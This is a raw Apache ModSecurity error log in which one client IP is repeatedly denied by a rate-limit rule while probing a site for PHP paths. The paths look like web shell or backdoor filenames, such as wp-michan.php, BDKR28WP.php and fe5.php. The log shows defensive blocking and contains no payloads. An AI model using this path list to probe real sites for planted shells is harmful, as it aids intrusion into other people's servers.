[Thu Apr 16 23:02:10.162125 2026] [:error] [pid 57639:tid 57668] [client 20.203.186.201:61011] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-michan.php"] [unique_id "aeD58qMCQoTw7TsxWukBOQAAANY"]
[Thu Apr 16 23:02:10.664301 2026] [:error] [pid 49094:tid 49115] [client 20.203.186.201:16938] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-michan.php"] [unique_id "aeD58jbDwvcXorHR_MwgyQAAAVM"]
[Thu Apr 16 23:02:11.249660 2026] [:error] [pid 7880:tid 7900] [client 20.203.186.201:46988] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin1.php"] [unique_id "aeD586aezm4fSGc0yULQYgAAAY8"]
[Thu Apr 16 23:02:11.810493 2026] [:error] [pid 57639:tid 57669] [client 20.203.186.201:35411] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin1.php"] [unique_id "aeD586MCQoTw7TsxWukBRwAAANc"]
[Thu Apr 16 23:02:12.382186 2026] [:error] [pid 49094:tid 49102] [client 20.203.186.201:62021] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin1.php"] [unique_id "aeD59DbDwvcXorHR_Mwg0AAAAUY"]
[Thu Apr 16 23:02:12.899169 2026] [:error] [pid 49094:tid 49096] [client 20.203.186.201:27195] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin1.php"] [unique_id "aeD59DbDwvcXorHR_Mwg0wAAAUA"]
[Thu Apr 16 23:02:13.438320 2026] [:error] [pid 57639:tid 57657] [client 20.203.186.201:40458] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "aeD59aMCQoTw7TsxWukBWQAAAMs"]
[Thu Apr 16 23:02:13.909761 2026] [:error] [pid 57639:tid 57647] [client 20.203.186.201:46978] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "aeD59aMCQoTw7TsxWukBXAAAAME"]
[Thu Apr 16 23:02:14.385089 2026] [:error] [pid 57639:tid 57668] [client 20.203.186.201:62069] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "aeD59qMCQoTw7TsxWukBXwAAANY"]
[Thu Apr 16 23:02:14.929816 2026] [:error] [pid 57536:tid 57554] [client 20.203.186.201:16908] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "aeD59iQU4faGja6jpDuuUwAAAAY"]
[Thu Apr 16 23:02:15.431005 2026] [:error] [pid 57536:tid 57549] [client 20.203.186.201:35404] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "aeD59yQU4faGja6jpDuuVAAAAAE"]
[Thu Apr 16 23:02:15.954043 2026] [:error] [pid 57536:tid 57571] [client 20.203.186.201:40486] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "aeD59yQU4faGja6jpDuuVQAAABc"]
[Thu Apr 16 23:02:16.487080 2026] [:error] [pid 57639:tid 57651] [client 20.203.186.201:46956] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "aeD5-KMCQoTw7TsxWukBYwAAAMU"]
[Thu Apr 16 23:02:16.964142 2026] [:error] [pid 57639:tid 57650] [client 20.203.186.201:21547] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "aeD5-KMCQoTw7TsxWukBZQAAAMQ"]
[Thu Apr 16 23:02:17.448007 2026] [:error] [pid 57639:tid 57668] [client 20.203.186.201:40470] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "aeD5-aMCQoTw7TsxWukBaAAAANY"]
[Thu Apr 16 23:02:18.036499 2026] [:error] [pid 57639:tid 57659] [client 20.203.186.201:41493] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "aeD5-qMCQoTw7TsxWukBawAAAM0"]
[Thu Apr 16 23:02:18.540100 2026] [:error] [pid 7880:tid 7909] [client 20.203.186.201:16937] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "aeD5-qaezm4fSGc0yULQdwAAAZg"]
[Thu Apr 16 23:02:19.118557 2026] [:error] [pid 57639:tid 57653] [client 20.203.186.201:46932] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "aeD5-6MCQoTw7TsxWukBbgAAAMc"]
[Thu Apr 16 23:02:19.662557 2026] [:error] [pid 7880:tid 7902] [client 20.203.186.201:46922] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wen.php"] [unique_id "aeD5-6aezm4fSGc0yULQeQAAAZE"]
[Thu Apr 16 23:02:20.177493 2026] [:error] [pid 7880:tid 7887] [client 20.203.186.201:20906] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wen.php"] [unique_id "aeD5_Kaezm4fSGc0yULQfAAAAYI"]
[Thu Apr 16 23:02:20.775910 2026] [:error] [pid 49094:tid 49107] [client 20.203.186.201:46936] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wen.php"] [unique_id "aeD5_DbDwvcXorHR_Mwg7QAAAUs"]
[Thu Apr 16 23:02:21.322786 2026] [:error] [pid 49094:tid 49100] [client 20.203.186.201:47026] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wen.php"] [unique_id "aeD5_TbDwvcXorHR_Mwg8QAAAUQ"]
[Thu Apr 16 23:02:21.911361 2026] [:error] [pid 49094:tid 49112] [client 20.203.186.201:41472] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "aeD5_TbDwvcXorHR_Mwg9gAAAVA"]
[Thu Apr 16 23:02:22.472643 2026] [:error] [pid 57538:tid 57624] [client 20.203.186.201:35867] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "aeD5_suMaiEF5SVR2Bf8nAAAAJY"]
[Thu Apr 16 23:02:22.964794 2026] [:error] [pid 57639:tid 57652] [client 20.203.186.201:46926] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "aeD5_qMCQoTw7TsxWukBhwAAAMY"]
[Thu Apr 16 23:02:23.482074 2026] [:error] [pid 57639:tid 57656] [client 20.203.186.201:21546] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "aeD5_6MCQoTw7TsxWukBjgAAAMo"]
[Thu Apr 16 23:02:23.962424 2026] [:error] [pid 29603:tid 29621] [client 20.203.186.201:40474] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/fi.php"] [unique_id "aeD5_1fGOR6fpTWUAzq1QAAAARA"]
[Thu Apr 16 23:02:24.606607 2026] [:error] [pid 7880:tid 7890] [client 20.203.186.201:25731] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/fi.php"] [unique_id "aeD6AKaezm4fSGc0yULQhQAAAYU"]
[Thu Apr 16 23:02:25.132711 2026] [:error] [pid 49094:tid 49114] [client 20.203.186.201:46998] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/fi.php"] [unique_id "aeD6ATbDwvcXorHR_Mwg_QAAAVI"]
[Thu Apr 16 23:02:25.702560 2026] [:error] [pid 57536:tid 57550] [client 20.203.186.201:35435] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/fi.php"] [unique_id "aeD6ASQU4faGja6jpDuuXAAAAAI"]
[Thu Apr 16 23:02:26.243635 2026] [:error] [pid 7880:tid 7902] [client 20.203.186.201:47016] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "aeD6Aqaezm4fSGc0yULQiwAAAZE"]
[Thu Apr 16 23:02:26.809847 2026] [:error] [pid 57639:tid 57669] [client 20.203.186.201:16935] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "aeD6AqMCQoTw7TsxWukBrwAAANc"]
[Thu Apr 16 23:02:27.438311 2026] [:error] [pid 49094:tid 49111] [client 20.203.186.201:40488] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "aeD6AzbDwvcXorHR_MwhAwAAAU8"]
[Thu Apr 16 23:02:28.064553 2026] [:error] [pid 57639:tid 57649] [client 20.203.186.201:40485] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "aeD6BKMCQoTw7TsxWukBugAAAMM"]
[Thu Apr 16 23:02:28.630162 2026] [:error] [pid 57639:tid 57669] [client 20.203.186.201:61042] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeD6BKMCQoTw7TsxWukBwAAAANc"]
[Thu Apr 16 23:02:29.219749 2026] [:error] [pid 57639:tid 57658] [client 20.203.186.201:46968] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeD6BaMCQoTw7TsxWukBxgAAAMw"]
[Thu Apr 16 23:02:29.813417 2026] [:error] [pid 57639:tid 57646] [client 20.203.186.201:46957] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeD6BaMCQoTw7TsxWukBywAAAMA"]
[Thu Apr 16 23:02:30.372292 2026] [:error] [pid 49094:tid 49096] [client 20.203.186.201:35455] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeD6BjbDwvcXorHR_MwhCQAAAUA"]
[Thu Apr 16 23:02:30.892368 2026] [:error] [pid 57639:tid 57667] [client 20.203.186.201:46967] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "aeD6BqMCQoTw7TsxWukB0AAAANU"]
[Thu Apr 16 23:02:31.414895 2026] [:error] [pid 29603:tid 29625] [client 20.203.186.201:35842] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "aeD6B1fGOR6fpTWUAzq1RwAAARQ"]
[Thu Apr 16 23:02:32.023182 2026] [:error] [pid 57536:tid 57548] [client 20.203.186.201:20872] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "aeD6CCQU4faGja6jpDuuZQAAAAA"]
[Thu Apr 16 23:02:32.667974 2026] [:error] [pid 57639:tid 57664] [client 20.203.186.201:46919] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "aeD6CKMCQoTw7TsxWukB1AAAANI"]
[Thu Apr 16 23:02:33.271525 2026] [:error] [pid 57639:tid 57667] [client 20.203.186.201:41527] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "aeD6CaMCQoTw7TsxWukB1gAAANU"]
[Thu Apr 16 23:02:33.862501 2026] [:error] [pid 57537:tid 57595] [client 20.203.186.201:35881] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "aeD6CVVQRS8nm73ENAnNGQAAAFQ"]
[Thu Apr 16 23:02:34.458217 2026] [:error] [pid 57536:tid 57572] [client 20.203.186.201:40483] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "aeD6CiQU4faGja6jpDuuawAAABg"]
[Thu Apr 16 23:02:35.021722 2026] [:error] [pid 7880:tid 7909] [client 20.203.186.201:40469] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "aeD6C6aezm4fSGc0yULQlQAAAZg"]
[Thu Apr 16 23:02:35.555556 2026] [:error] [pid 49094:tid 49117] [client 20.203.186.201:21507] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fi.php"] [unique_id "aeD6CzbDwvcXorHR_MwhFQAAAVU"]
[Thu Apr 16 23:02:36.191928 2026] [:error] [pid 49094:tid 49107] [client 20.203.186.201:15577] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fi.php"] [unique_id "aeD6DDbDwvcXorHR_MwhFwAAAUs"]
[Thu Apr 16 23:02:36.888992 2026] [:error] [pid 7880:tid 7903] [client 20.203.186.201:27151] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fi.php"] [unique_id "aeD6DKaezm4fSGc0yULQlwAAAZI"]
[Thu Apr 16 23:02:37.526639 2026] [:error] [pid 57639:tid 57647] [client 20.203.186.201:25757] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fi.php"] [unique_id "aeD6DaMCQoTw7TsxWukB5QAAAME"]
[Thu Apr 16 23:02:38.172962 2026] [:error] [pid 49094:tid 49119] [client 20.203.186.201:21523] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "aeD6DjbDwvcXorHR_MwhHQAAAVc"]
[Thu Apr 16 23:02:38.720209 2026] [:error] [pid 57537:tid 57581] [client 20.203.186.201:35849] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "aeD6DlVQRS8nm73ENAnNGwAAAEY"]
[Thu Apr 16 23:02:39.284763 2026] [:error] [pid 57639:tid 57664] [client 20.203.186.201:35898] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "aeD6D6MCQoTw7TsxWukB6AAAANI"]
[Thu Apr 16 23:02:39.919647 2026] [:error] [pid 57639:tid 57648] [client 20.203.186.201:62057] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "aeD6D6MCQoTw7TsxWukB6gAAAMI"]
[Thu Apr 16 23:02:40.532447 2026] [:error] [pid 57639:tid 57662] [client 20.203.186.201:41487] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "aeD6EKMCQoTw7TsxWukB8AAAANA"]
[Thu Apr 16 23:02:41.070746 2026] [:error] [pid 49094:tid 49115] [client 20.203.186.201:35871] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "aeD6ETbDwvcXorHR_MwhIgAAAVM"]
